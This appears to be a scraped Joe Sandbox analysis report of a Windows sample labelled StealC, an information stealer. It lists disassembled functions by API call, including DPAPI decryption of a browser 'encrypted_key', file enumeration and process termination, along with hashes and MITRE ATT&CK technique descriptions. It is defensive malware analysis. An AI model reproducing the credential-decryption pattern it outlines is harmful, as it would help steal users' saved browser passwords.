Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: e20abd537be7b898a20188e914ec4e32794ca842b90b9d69f4708b2f755d6673
Instruction ID: 7fb7db309a56c7f41492e2dc0d6bdcb7619b20746bd8d30f38b1b7438d82eaef
Opcode Fuzzy Hash: e20abd537be7b898a20188e914ec4e32794ca842b90b9d69f4708b2f755d6673
Instruction Fuzzy Hash: 2D415E75D10209AFDB04EFE5D845AEEB774BF84304F108128F416B6291DB34AA49DFA2

Function 00C39CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 00C4A740: lstrcpy.KERNEL32(00C50E17,00000000), ref: 00C4A788

Part of subcall function 00C399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00C399EC
Part of subcall function 00C399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00C39A11
Part of subcall function 00C399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00C39A31
Part of subcall function 00C399C0: ReadFile.KERNEL32(000000FF,?,00000000,00C3148F,00000000), ref: 00C39A5A
Part of subcall function 00C399C0: LocalFree.KERNEL32(00C3148F), ref: 00C39A90
Part of subcall function 00C399C0: CloseHandle.KERNEL32(000000FF), ref: 00C39A9A

Part of subcall function 00C48E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00C48E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00C39D39

Part of subcall function 00C39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C34EEE,00000000,00000000), ref: 00C39AEF
Part of subcall function 00C39AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00C34EEE,00000000,?), ref: 00C39B01
Part of subcall function 00C39AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00C34EEE,00000000,00000000), ref: 00C39B2A
Part of subcall function 00C39AC0: LocalFree.KERNEL32(?,?,?,?,00C34EEE,00000000,?), ref: 00C39B3F

Part of subcall function 00C39B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00C39B84
Part of subcall function 00C39B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00C39BA3
Part of subcall function 00C39B60: LocalFree.KERNEL32(?), ref: 00C39BD3

Strings

DPAPI, xrefs: 00C39D89
, xrefs: 00C39DC1
"encrypted_key":", xrefs: 00C39D30

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 099360d80dd5ee25e59c3ccceacb5b7f13e69019c754f6b7615f0424fd01c611
Instruction ID: d1c63960c9832715b499916363ad474d4ebcdbad6c7f239b415f380652e40905
Opcode Fuzzy Hash: 099360d80dd5ee25e59c3ccceacb5b7f13e69019c754f6b7615f0424fd01c611
Instruction Fuzzy Hash: B33132B6D10209ABCF14EFE4DC86AEFB7B8FF48304F144519E915A7241E7749A44CBA1

Function 00C494D0 Relevance: 6.1, APIs: 4, Instructions: 89COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C494EB

Part of subcall function 00C48D50: GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00C4951E,00000000), ref: 00C48D5B
Part of subcall function 00C48D50: RtlAllocateHeap.NTDLL(00000000), ref: 00C48D62
Part of subcall function 00C48D50: wsprintfW.USER32 ref: 00C48D78

OpenProcess.KERNEL32(00001001,00000000,?), ref: 00C495AB
TerminateProcess.KERNEL32(00000000,00000000), ref: 00C495C9
CloseHandle.KERNEL32(00000000), ref: 00C495D6

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: Process$Heap$AllocateCloseHandleOpenTerminatememsetwsprintf
String ID:
API String ID: 3729781310-0
Opcode ID: 3d04da0ef6907293bfd6fbf29f7609637b1e5a4fcaa5eeca87aa6b054f63b7c2
Instruction ID: 217f20c566fcb40dc5695c63ba5f6b11441086eadb25ffc7049aab12cc860e70
Opcode Fuzzy Hash: 3d04da0ef6907293bfd6fbf29f7609637b1e5a4fcaa5eeca87aa6b054f63b7c2
Instruction Fuzzy Hash: C3312D71E002189FDB14DFD0DD49BEEB778FB44301F204559E50AAB184DB74AA89DF52

Function 00C492E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00C43AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00C43AEE,?), ref: 00C492FC
GetFileSizeEx.KERNEL32(000000FF,00C43AEE), ref: 00C49319
CloseHandle.KERNEL32(000000FF), ref: 00C49327

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 515bd4437c4a50d7a345800a6e330572585ae7880cf51144099f61ea5d6c81f3
Instruction ID: 2277789b53770941a03dd3b35199270ebae4cf68e187e099538ad6f4d8a757f7
Opcode Fuzzy Hash: 515bd4437c4a50d7a345800a6e330572585ae7880cf51144099f61ea5d6c81f3
Instruction Fuzzy Hash: C4F08C34E00208BBDB14DFB2DC09F9E77B9FB88310F108264F615A72D0D6B09A408B40

Function 00C4C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00C4C74E

Part of subcall function 00C4BF9F: __amsg_exit.LIBCMT ref: 00C4BFAF

__getptd.LIBCMT ref: 00C4C765
__amsg_exit.LIBCMT ref: 00C4C773
__updatetlocinfoEx_nolock.LIBCMT ref: 00C4C797

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: 4bf42fa9fba0af9802959377501668b702a2d2487f02f230a2c286a730d6724f
Instruction ID: 994f39696713609104a44481666c284bf6efe334322f166e93afc557959fc58e
Opcode Fuzzy Hash: 4bf42fa9fba0af9802959377501668b702a2d2487f02f230a2c286a730d6724f
Instruction Fuzzy Hash: AEF0B4369427009BE760BBF8588775E37A07F00721F204149F814A61E3DB649D80BE56

Function 00C44F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00C48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00C48E0B

lstrcat.KERNEL32(?,00000000), ref: 00C44F7A
lstrcat.KERNEL32(?,00C51070), ref: 00C44F97
lstrcat.KERNEL32(?,019D8A70), ref: 00C44FAB
lstrcat.KERNEL32(?,00C51074), ref: 00C44FBD

Part of subcall function 00C44910: wsprintfA.USER32 ref: 00C4492C
Part of subcall function 00C44910: FindFirstFileA.KERNEL32(?,?), ref: 00C44943

Part of subcall function 00C44910: StrCmpCA.SHLWAPI(?,00C50FDC), ref: 00C44971
Part of subcall function 00C44910: StrCmpCA.SHLWAPI(?,00C50FE0), ref: 00C44987
Part of subcall function 00C44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00C44B7D
Part of subcall function 00C44910: FindClose.KERNEL32(000000FF), ref: 00C44B92

Memory Dump Source

Source File: 00000000.00000002.2132961759.0000000000C31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000000.00000002.2132944748.0000000000C30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000CED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000D12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2132961759.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.00000000010F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.000000000111A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001125000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133134019.0000000001133000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133370610.0000000001134000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133473479.00000000012D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2133488139.00000000012D4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 7cd64bb149e9b66fe3c54104f1f32c55f9cad3a85358aa09f63c48e5ebc9601f
Instruction ID: 52b1df0c69e02c2933c3781432a8111e84693c638d8ab6839c414c0d62f55108
Opcode Fuzzy Hash: 7cd64bb149e9b66fe3c54104f1f32c55f9cad3a85358aa09f63c48e5ebc9601f
Instruction Fuzzy Hash: ED219876900208AFD754FBB0DC46EED333CBB94701F044564BA5DA2181EE749ACC9BA3

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00C49860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00C345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00C34880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00C49C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00C36280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00C45510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00C417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00C47500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00C469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00C31220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00C46AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00C347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00C451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON